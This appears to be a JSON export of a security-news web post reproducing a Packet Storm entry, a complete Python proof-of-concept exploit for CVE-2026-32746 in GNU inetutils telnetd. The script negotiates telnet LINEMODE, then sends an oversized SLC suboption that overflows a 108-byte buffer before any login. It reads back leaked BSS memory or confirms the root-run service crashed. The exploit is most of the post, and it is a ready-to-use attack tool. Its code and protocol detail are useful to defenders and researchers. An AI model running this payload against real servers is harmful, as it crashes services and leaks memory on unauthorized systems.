{"id":52563,"date":"2026-05-08T13:40:30","date_gmt":"2026-05-08T13:40:30","guid":{"rendered":"https:\/\/zero.redgem.net\/?p=52563"},"modified":"2026-05-08T13:40:30","modified_gmt":"2026-05-08T13:40:30","slug":"telnetd-27-buffer-overflow","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=52563","title":{"rendered":"\ud83d\udcc4 telnetd 2.7 Buffer Overflow_PACKETSTORM:220575"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-05-08T18:05:18&#8243;,&#8221;description&#8221;:&#8221;telnetd version 2.7 addslc remote buffer overflow exploit that achieves root&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-05-08T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-05-08T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 telnetd 2.7 Buffer Overflow&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:220575&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2026-32746&#8243;],&#8221;sourceData&#8221;:&#8221;# Exploit Title: telnetd 2.7 &#8211; Buffer Overflow\\n    # Google Dork: N\/A\\n    # Date: 2026-04-03\\n    # Exploit Author: Jeff Barron (jeffaf)\\n    # Vendor Homepage: https:\/\/www.gnu.org\/software\/inetutils\/\\n    # Software Link: https:\/\/ftp.gnu.org\/gnu\/inetutils\/\\n    # Version: inetutils-telnetd through 2.7 (patch pending in next release)\\n    # Tested on: Debian Linux (inetutils-telnetd 2.4 under xinetd, Docker lab)\\n    # CVE: CVE-2026-32746\\n    # CVSS: 9.8 (AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H)\\n    #\\n    # References:\\n    #   DREAM Advisory:  https:\/\/dreamgroup.com\/vulnerability-advisory-pre-auth-remote-code-execution-via-buffer-overflow-in-telnetd-linemode-slc-handler\/\\n    #   WatchTowr:       https:\/\/labs.watchtowr.com\/\\n    #   GNU Disclosure:  https:\/\/lists.gnu.org\/archive\/html\/bug-inetutils\/2026-03\/msg00031.html\\n    #   Fix (PR #17):    https:\/\/codeberg.org\/inetutils\/inetutils\/pulls\/17\\n    #   NVD:             https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2026-32746\\n    #\\n    # Notes:\\n    #   The add_slc() function in telnetd\/slc.c appends 3 bytes per SLC triplet to a\\n    #   fixed 108-byte buffer (slcbuf) with no bounds checking. Sending a crafted\\n    #   LINEMODE SLC suboption with 40+ triplets (function codes \\u003e NSLC\/18) during\\n    #   initial option negotiation &#8212; before any login prompt &#8212; overflows slcbuf,\\n    #   corrupts the slcptr pointer, and leaks adjacent BSS data in the server\\n    #   response. telnetd runs as root via inetd\/xinetd; the vendor advisory (DREAM\\n    #   Security, Advisory ID: VULN-TELNETD-SLC-2025, published 2026-03-13) confirms\\n    #   full pre-auth RCE as root is achievable. This PoC demonstrates and verifies\\n    #   the overflow via response analysis (BSS leak in server reply). It does NOT\\n    #   include shellcode or a ROP chain. Full exploitation analysis including byte\\n    #   constraints, alignment techniques, and the def_slcbuf\/free() primitive on\\n    #   32-bit systems is covered in the WatchTowr writeup linked above.\\n    #   Docker lab: https:\/\/github.com\/jeffaf\/cve-2026-32746\\n    #\\n    #   Vulnerability discovered by: Adiel Sol, Arad Inbar, Erez Cohen, Nir Somech,\\n    #   Ben Grinberg, Daniel Lubel (Dream Security Research Labs). Disclosed 2026-03-13.\\n    #   This is an independent PoC implementation.\\n    \\n    \\&#8221;\\&#8221;\\&#8221;\\n    CVE-2026-32746 &#8211; telnetd LINEMODE SLC Buffer Overflow PoC\\n    ==========================================================\\n    \\n    Triggers an out-of-bounds write in GNU InetUtils telnetd&#8217;s SLC handler\\n    by sending a crafted LINEMODE SLC suboption with excess triplets.\\n    \\n    The overflow corrupts the slcptr pointer in BSS. When end_slc() runs,\\n    it writes via the corrupted pointer. The server&#8217;s SLC response contains\\n    the overflow data (leaked BSS bytes), providing direct proof.\\n    \\n    This PoC demonstrates and verifies the overflow via response analysis.\\n    It does NOT achieve code execution.\\n    \\n    Usage:\\n        python3 exploit.py \\u003ctarget_ip\\u003e [port]\\n    \\n    For authorized security testing only.\\n    \\&#8221;\\&#8221;\\&#8221;\\n    \\n    import argparse\\n    import socket\\n    import sys\\n    import time\\n    \\n    # Telnet protocol bytes\\n    IAC  = 0xFF\\n    DONT = 0xFE\\n    DO   = 0xFD\\n    WONT = 0xFC\\n    WILL = 0xFB\\n    SB   = 0xFA\\n    SE   = 0xF0\\n    \\n    # Options\\n    OPT_ECHO        = 0x01\\n    OPT_SGA         = 0x03\\n    OPT_TTYPE       = 0x18  # 24\\n    OPT_TSPEED      = 0x20  # 32\\n    OPT_LINEMODE    = 0x22  # 34\\n    OPT_XDISPLOC   = 0x23  # 35\\n    OPT_OLD_ENVIRON = 0x24  # 36\\n    OPT_NEW_ENVIRON = 0x27  # 39\\n    OPT_NAWS        = 0x1F  # 31\\n    \\n    # LINEMODE suboption codes\\n    LM_SLC = 0x03\\n    \\n    # SLC constants from source\\n    NSLC = 18  # Number of defined SLC functions\\n    \\n    # Buffer geometry\\n    SLCBUF_SIZE    = 108  # Total slcbuf allocation\\n    SLCBUF_USABLE  = 104  # Usable after 4-byte header (IAC SB LINEMODE SLC)\\n    \\n    \\n    def recv_all(s, timeout=2):\\n        \\&#8221;\\&#8221;\\&#8221;Receive all available data with a timeout.\\&#8221;\\&#8221;\\&#8221;\\n        s.settimeout(timeout)\\n        chunks = []\\n        try:\\n            while True:\\n                chunk = s.recv(4096)\\n                if not chunk:\\n                    break\\n                chunks.append(chunk)\\n        except socket.timeout:\\n            pass\\n        return b&#8221;.join(chunks)\\n    \\n    \\n    def negotiate_linemode(s):\\n        \\&#8221;\\&#8221;\\&#8221;Complete telnet negotiation and enter LINEMODE.\\n    \\n        Full negotiation is required: the server only processes SLC and\\n        returns responses after all expected suboptions (TTYPE, TSPEED,\\n        XDISPLOC, NEW_ENVIRON, NAWS) have been received.\\n        \\&#8221;\\&#8221;\\&#8221;\\n        # Round 1: Read server&#8217;s initial option offers\\n        print(\\&#8221;[*] Phase 1: Reading server negotiation&#8230;\\&#8221;)\\n        time.sleep(1)\\n    \\n        try:\\n            data = recv_all(s)\\n        except ConnectionResetError:\\n            # Server closed connection before we could send or receive\\n            print(f\\&#8221;[-] Connection reset during negotiation\\&#8221;)\\n            return False\\n    \\n        if not data:\\n            print(\\&#8221;[-] No negotiation data received\\&#8221;)\\n            return False\\n    \\n        print(f\\&#8221;    Received {len(data)} bytes of negotiation\\&#8221;)\\n    \\n        # Build responses: accept everything, add WILL LINEMODE\\n        resp = bytearray()\\n        i = 0\\n        while i \\u003c len(data) &#8211; 2:\\n            if data[i] == IAC:\\n                cmd = data[i + 1]\\n                opt = data[i + 2]\\n                if cmd == DO:\\n                    resp.extend([IAC, WILL, opt])\\n                elif cmd == WILL:\\n                    resp.extend([IAC, DO, opt])\\n                i += 3\\n            else:\\n                i += 1\\n    \\n        # Proactively offer LINEMODE (triggers server&#8217;s SLC handler)\\n        resp.extend([IAC, WILL, OPT_LINEMODE])\\n    \\n        # Required suboption responses &#8211; server stalls without these\\n        resp.extend([IAC, SB, OPT_TTYPE, 0x00])\\n        resp.extend(b&#8217;xterm&#8217;)\\n        resp.extend([IAC, SE])\\n    \\n        resp.extend([IAC, SB, OPT_TSPEED, 0x00])\\n        resp.extend(b&#8217;38400,38400&#8242;)\\n        resp.extend([IAC, SE])\\n    \\n        resp.extend([IAC, SB, OPT_XDISPLOC, 0x00])\\n        resp.extend(b&#8217;:0&#8242;)\\n        resp.extend([IAC, SE])\\n    \\n        resp.extend([IAC, SB, OPT_NEW_ENVIRON, 0x00, IAC, SE])\\n        resp.extend([IAC, SB, OPT_OLD_ENVIRON, 0x00, IAC, SE])\\n    \\n        s.send(resp)\\n        print(f\\&#8221;    Sent {len(resp)} bytes (negotiation + WILL LINEMODE)\\&#8221;)\\n    \\n        # Round 2: Server sends DO LINEMODE + additional option requests\\n        print(\\&#8221;[*] Phase 2: Completing negotiation&#8230;\\&#8221;)\\n        time.sleep(1)\\n        data2 = recv_all(s, timeout=3)\\n    \\n        if not data2:\\n            print(\\&#8221;[-] No response to LINEMODE offer\\&#8221;)\\n            return False\\n    \\n        got_linemode = False\\n        resp2 = bytearray()\\n        i = 0\\n        while i \\u003c len(data2) &#8211; 2:\\n            if data2[i] == IAC:\\n                cmd = data2[i + 1]\\n                if cmd == SB:\\n                    # Find end of suboption\\n                    j = i + 2\\n                    while j \\u003c len(data2) &#8211; 1:\\n                        if data2[j] == IAC and data2[j + 1] == SE:\\n                            break\\n                        j += 1\\n                    opt = data2[i + 2]\\n                    if opt == OPT_TTYPE and i + 3 \\u003c len(data2) and data2[i + 3] == 0x01:\\n                        resp2.extend([IAC, SB, OPT_TTYPE, 0x00])\\n                        resp2.extend(b&#8217;xterm&#8217;)\\n                        resp2.extend([IAC, SE])\\n                    elif opt == OPT_NEW_ENVIRON:\\n                        resp2.extend([IAC, SB, OPT_NEW_ENVIRON, 0x00, IAC, SE])\\n                    i = j + 2\\n                elif cmd == DO:\\n                    opt = data2[i + 2]\\n                    if opt == OPT_LINEMODE:\\n                        got_linemode = True\\n                    resp2.extend([IAC, WILL, opt])\\n                    if opt == OPT_NAWS:\\n                        resp2.extend([IAC, SB, OPT_NAWS,\\n                                      0x00, 0x50, 0x00, 0x18, IAC, SE])\\n                    i += 3\\n                elif cmd == WILL:\\n                    resp2.extend([IAC, DO, data2[i + 2]])\\n                    i += 3\\n                elif cmd in (DONT, WONT):\\n                    i += 3\\n                else:\\n                    i += 2\\n            else:\\n                i += 1\\n    \\n        if resp2:\\n            s.send(resp2)\\n    \\n        if got_linemode:\\n            print(\\&#8221;[+] Server accepted LINEMODE (DO LINEMODE received)\\&#8221;)\\n        else:\\n            print(\\&#8221;[-] Server did not accept LINEMODE\\&#8221;)\\n            print(\\&#8221;    This may not be GNU InetUtils telnetd\\&#8221;)\\n            return False\\n    \\n        # Round 3: Wait for terminal setup and login prompt\\n        # Server sends SLC defaults + login prompt after full negotiation\\n        time.sleep(3)\\n        data3 = recv_all(s, timeout=5)\\n        if data3:\\n            # Respond to any remaining option requests\\n            resp3 = bytearray()\\n            i = 0\\n            while i \\u003c len(data3) &#8211; 2:\\n                if data3[i] == IAC:\\n                    cmd = data3[i + 1]\\n                    if cmd == DO:\\n                        resp3.extend([IAC, WILL, data3[i + 2]])\\n                        i += 3\\n                    elif cmd == WILL:\\n                        resp3.extend([IAC, DO, data3[i + 2]])\\n                        i += 3\\n                    elif cmd == SB:\\n                        j = i + 2\\n                        while j \\u003c len(data3) &#8211; 1:\\n                            if data3[j] == IAC and data3[j + 1] == SE:\\n                                break\\n                            j += 1\\n                        i = j + 2\\n                    else:\\n                        i += 3 if cmd in (DONT, WONT) else i + 2\\n                else:\\n                    i += 1\\n            if resp3:\\n                s.send(resp3)\\n    \\n        return True\\n    \\n    \\n    def build_slc_payload(num_triplets):\\n        \\&#8221;\\&#8221;\\&#8221;Build a malicious SLC suboption with overflow triplets.\\n    \\n        Each triplet has a function code \\u003e NSLC (18), which forces\\n        add_slc() to queue a \\&#8221;not supported\\&#8221; reply. After ~35 triplets,\\n        the 104-byte response buffer overflows.\\n    \\n        Buffer math:\\n          slcbuf = 108 bytes total\\n          Header = 4 bytes (IAC SB LINEMODE LM_SLC)\\n          Usable = 104 bytes\\n          Per triplet reply = 3 bytes\\n          Overflow at: 104 \/ 3 = ~34.6 -\\u003e triplet 35\\n        \\&#8221;\\&#8221;\\&#8221;\\n        payload = bytearray()\\n    \\n        # Suboption header: IAC SB LINEMODE LM_SLC\\n        payload.extend([IAC, SB, OPT_LINEMODE, LM_SLC])\\n    \\n        # SLC triplets: (function, flags, value)\\n        # function \\u003e NSLC triggers the vulnerable add_slc() path\\n        for i in range(num_triplets):\\n            func = NSLC + 1 + i\\n            if func \\u003e= IAC:  # Can&#8217;t use 0xFF (IAC) in data\\n                func = 0xFE\\n            payload.extend([func, 0x02, 0x00])  # flag=SLC_NOSUPPORT, value=0\\n    \\n        # Suboption trailer: IAC SE\\n        payload.extend([IAC, SE])\\n    \\n        return payload\\n    \\n    \\n    def find_slc_response(data):\\n        \\&#8221;\\&#8221;\\&#8221;Extract SLC suboption body from telnet data.\\n    \\n        Returns the SLC body bytes (between header and IAC SE),\\n        or None if no SLC suboption found.\\n        \\&#8221;\\&#8221;\\&#8221;\\n        i = 0\\n        while i \\u003c len(data) &#8211; 3:\\n            if (data[i] == IAC and data[i + 1] == SB and\\n                    data[i + 2] == OPT_LINEMODE and\\n                    i + 3 \\u003c len(data) and data[i + 3] == LM_SLC):\\n                # Found SLC suboption, extract body until IAC SE\\n                k = i + 4\\n                while k \\u003c len(data) &#8211; 1:\\n                    if data[k] == IAC and data[k + 1] == SE:\\n                        return data[i + 4:k]\\n                    k += 1\\n                # Unterminated &#8211; return what we have\\n                return data[i + 4:]\\n            i += 1\\n        return None\\n    \\n    \\n    def check_service_alive(host, port):\\n        \\&#8221;\\&#8221;\\&#8221;Verify service state with a fresh connection.\\&#8221;\\&#8221;\\&#8221;\\n        try:\\n            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\\n            s.settimeout(5)\\n            s.connect((host, port))\\n            probe = recv_all(s, timeout=3)\\n            s.close()\\n            return True, len(probe)\\n        except (socket.error, OSError):\\n            return False, 0\\n    \\n    \\n    def exploit(host, port, triplets, timeout):\\n        \\&#8221;\\&#8221;\\&#8221;Send the SLC overflow payload and verify via response analysis.\\&#8221;\\&#8221;\\&#8221;\\n    \\n        print(f\\&#8221;\\\\n{&#8216;=&#8217; * 60}\\&#8221;)\\n        print(f\\&#8221;  CVE-2026-32746 &#8211; telnetd SLC Buffer Overflow PoC\\&#8221;)\\n        print(f\\&#8221;{&#8216;=&#8217; * 60}\\&#8221;)\\n        print(f\\&#8221;  Target:   {host}:{port}\\&#8221;)\\n        print(f\\&#8221;  Triplets: {triplets} (overflow at ~35)\\&#8221;)\\n        print(f\\&#8221;{&#8216;=&#8217; * 60}\\\\n\\&#8221;)\\n    \\n        # Connect\\n        try:\\n            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\\n            s.settimeout(timeout)\\n            s.connect((host, port))\\n            print(f\\&#8221;[+] Connected to {host}:{port}\\&#8221;)\\n        except (socket.error, OSError) as e:\\n            print(f\\&#8221;[-] Connection failed: {e}\\&#8221;)\\n            return False\\n    \\n        # Negotiate into LINEMODE\\n        if not negotiate_linemode(s):\\n            print(\\&#8221;\\\\n[-] Failed to enter LINEMODE &#8211; cannot trigger vulnerability\\&#8221;)\\n            s.close()\\n            return False\\n    \\n        # Build and send the overflow payload\\n        payload = build_slc_payload(triplets)\\n        data_bytes = triplets * 3\\n        overflow_bytes = data_bytes &#8211; SLCBUF_USABLE\\n        print(f\\&#8221;\\\\n[*] Phase 3: Sending malicious SLC suboption\\&#8221;)\\n        print(f\\&#8221;    Payload size:  {len(payload)} bytes\\&#8221;)\\n        print(f\\&#8221;    SLC triplets:  {triplets}\\&#8221;)\\n        print(f\\&#8221;    Buffer size:   {SLCBUF_USABLE} bytes (usable)\\&#8221;)\\n        print(f\\&#8221;    Data written:  {data_bytes} bytes\\&#8221;)\\n        print(f\\&#8221;    Overflow:      {overflow_bytes} bytes past buffer end\\&#8221;)\\n    \\n        try:\\n            s.send(payload)\\n            print(f\\&#8221;[+] Payload sent\\&#8221;)\\n        except (BrokenPipeError, ConnectionResetError):\\n            print(\\&#8221;[+] Connection reset during send &#8211; server crashed\\&#8221;)\\n            s.close()\\n            return True\\n    \\n        # Phase 4: Verify overflow via SLC response analysis\\n        print(f\\&#8221;\\\\n[*] Phase 4: Analyzing server response&#8230;\\&#8221;)\\n        time.sleep(2)\\n    \\n        overflow_confirmed = False\\n        crash_detected = False\\n    \\n        try:\\n            resp = recv_all(s, timeout=3)\\n            if resp:\\n                slc_body = find_slc_response(resp)\\n                if slc_body is not None:\\n                    print(f\\&#8221;    SLC response body: {len(slc_body)} bytes\\&#8221;)\\n                    print(f\\&#8221;    Expected (no overflow): {SLCBUF_USABLE} bytes max\\&#8221;)\\n    \\n                    if len(slc_body) \\u003e SLCBUF_USABLE:\\n                        leak_count = len(slc_body) &#8211; SLCBUF_USABLE\\n                        overflow_confirmed = True\\n                        print(f\\&#8221;[+] OVERFLOW CONFIRMED: {leak_count} bytes past buffer boundary\\&#8221;)\\n                        print(f\\&#8221;    Server response contains leaked BSS memory\\&#8221;)\\n    \\n                        # Show leaked data\\n                        leaked = slc_body[SLCBUF_USABLE:]\\n                        hex_dump = &#8216; &#8216;.join(f'{b:02x}&#8217; for b in leaked[:48])\\n                        print(f\\&#8221;    Leaked BSS: {hex_dump}\\&#8221;\\n                              f\\&#8221;{&#8216;&#8230;&#8217; if len(leaked) \\u003e 48 else &#8221;}\\&#8221;)\\n                    elif len(slc_body) == data_bytes:\\n                        # Server wrote all triplet data without truncation\\n                        overflow_confirmed = True\\n                        print(f\\&#8221;[+] OVERFLOW CONFIRMED: server wrote {len(slc_body)} bytes \\&#8221;\\n                              f\\&#8221;into {SLCBUF_USABLE}-byte buffer\\&#8221;)\\n                    else:\\n                        print(f\\&#8221;[!] SLC response within buffer bounds ({len(slc_body)} bytes)\\&#8221;)\\n                else:\\n                    print(f\\&#8221;[!] Server responded ({len(resp)} bytes) but no SLC suboption found\\&#8221;)\\n            else:\\n                print(\\&#8221;[!] No response data received\\&#8221;)\\n        except (ConnectionResetError, BrokenPipeError, OSError) as e:\\n            print(f\\&#8221;[+] Connection error after payload: {e}\\&#8221;)\\n            crash_detected = True\\n    \\n        s.close()\\n    \\n        # Verify service state regardless of response analysis\\n        if not overflow_confirmed and not crash_detected:\\n            print(\\&#8221;\\\\n[*] Checking service state with fresh connection&#8230;\\&#8221;)\\n            alive, probe_len = check_service_alive(host, port)\\n            if alive:\\n                print(f\\&#8221;[*] Service still running ({probe_len} bytes on connect)\\&#8221;)\\n                print(\\&#8221;[!] Overflow could not be verified via response analysis\\&#8221;)\\n                print(\\&#8221;    Server may require additional negotiation steps,\\&#8221;)\\n                print(\\&#8221;    or this telnetd version may not be vulnerable\\&#8221;)\\n            else:\\n                print(\\&#8221;[+] Service is DOWN after payload &#8211; crash confirmed\\&#8221;)\\n                crash_detected = True\\n    \\n        # Final verdict\\n        if overflow_confirmed:\\n            print(f\\&#8221;\\\\n[+] VULNERABLE &#8211; CVE-2026-32746 confirmed\\&#8221;)\\n            print(f\\&#8221;    Out-of-bounds write in SLC handler verified\\&#8221;)\\n            print(f\\&#8221;    Server response proves buffer overflow occurred\\&#8221;)\\n            return True\\n        elif crash_detected:\\n            print(f\\&#8221;\\\\n[+] VULNERABLE &#8211; CVE-2026-32746 (crash)\\&#8221;)\\n            print(f\\&#8221;    Server process terminated after overflow payload\\&#8221;)\\n            return True\\n        else:\\n            print(f\\&#8221;\\\\n[-] Could not confirm vulnerability\\&#8221;)\\n            return False\\n    \\n    \\n    def main():\\n        parser = argparse.ArgumentParser(\\n            description=\\&#8221;CVE-2026-32746 &#8211; telnetd SLC Buffer Overflow PoC\\&#8221;,\\n            epilog=\\&#8221;For authorized security testing only.\\&#8221;\\n        )\\n        parser.add_argument(\\&#8221;host\\&#8221;, help=\\&#8221;Target IP address\\&#8221;)\\n        parser.add_argument(\\&#8221;port\\&#8221;, type=int, nargs=\\&#8221;?\\&#8221;, default=23,\\n                            help=\\&#8221;Target port (default: 23)\\&#8221;)\\n        parser.add_argument(\\&#8221;-n\\&#8221;, \\&#8221;&#8211;triplets\\&#8221;, type=int, default=60,\\n                            help=\\&#8221;Number of SLC triplets to send (default: 60, overflow at ~35)\\&#8221;)\\n        parser.add_argument(\\&#8221;-t\\&#8221;, \\&#8221;&#8211;timeout\\&#8221;, type=int, default=10,\\n                            help=\\&#8221;Socket timeout in seconds (default: 10)\\&#8221;)\\n        args = parser.parse_args()\\n    \\n        success = exploit(args.host, args.port, args.triplets, args.timeout)\\n    \\n        sys.exit(0 if success else 1)\\n    \\n    \\n    if __name__ == \\&#8221;__main__\\&#8221;:\\n        main()&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/220575&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:9.8,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/220575\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-05-08T18:05:18&#8243;,&#8221;description&#8221;:&#8221;telnetd version 2.7 addslc remote buffer overflow exploit that achieves root&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-05-08T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-05-08T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 telnetd 2.7 Buffer Overflow&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:220575&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2026-32746&#8243;],&#8221;sourceData&#8221;:&#8221;# Exploit Title: telnetd 2.7 &#8211; Buffer Overflow\\n # Google Dork:&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,13,53,7,11,5],"class_list":["post-52563","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 telnetd 2.7 Buffer Overflow_PACKETSTORM:220575 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=52563\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 telnetd 2.7 Buffer Overflow_PACKETSTORM:220575 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-05-08T18:05:18&#8243;,&#8221;description&#8221;:&#8221;telnetd version 2.7 addslc remote buffer overflow exploit that achieves root&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-05-08T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-05-08T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 telnetd 2.7 Buffer Overflow&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:220575&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2026-32746&#8243;],&#8221;sourceData&#8221;:&#8221;# Exploit Title: telnetd 2.7 &#8211; Buffer Overflown # Google Dork:...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=52563\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-05-08T13:40:30+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"13 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=52563#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=52563\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 telnetd 2.7 Buffer Overflow_PACKETSTORM:220575\",\"datePublished\":\"2026-05-08T13:40:30+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=52563\"},\"wordCount\":2588,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-9.8\",\"exploit\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=52563#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=52563\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=52563\",\"name\":\"\ud83d\udcc4 telnetd 2.7 Buffer Overflow_PACKETSTORM:220575 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-05-08T13:40:30+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=52563#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=52563\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=52563#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 telnetd 2.7 Buffer Overflow_PACKETSTORM:220575\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero 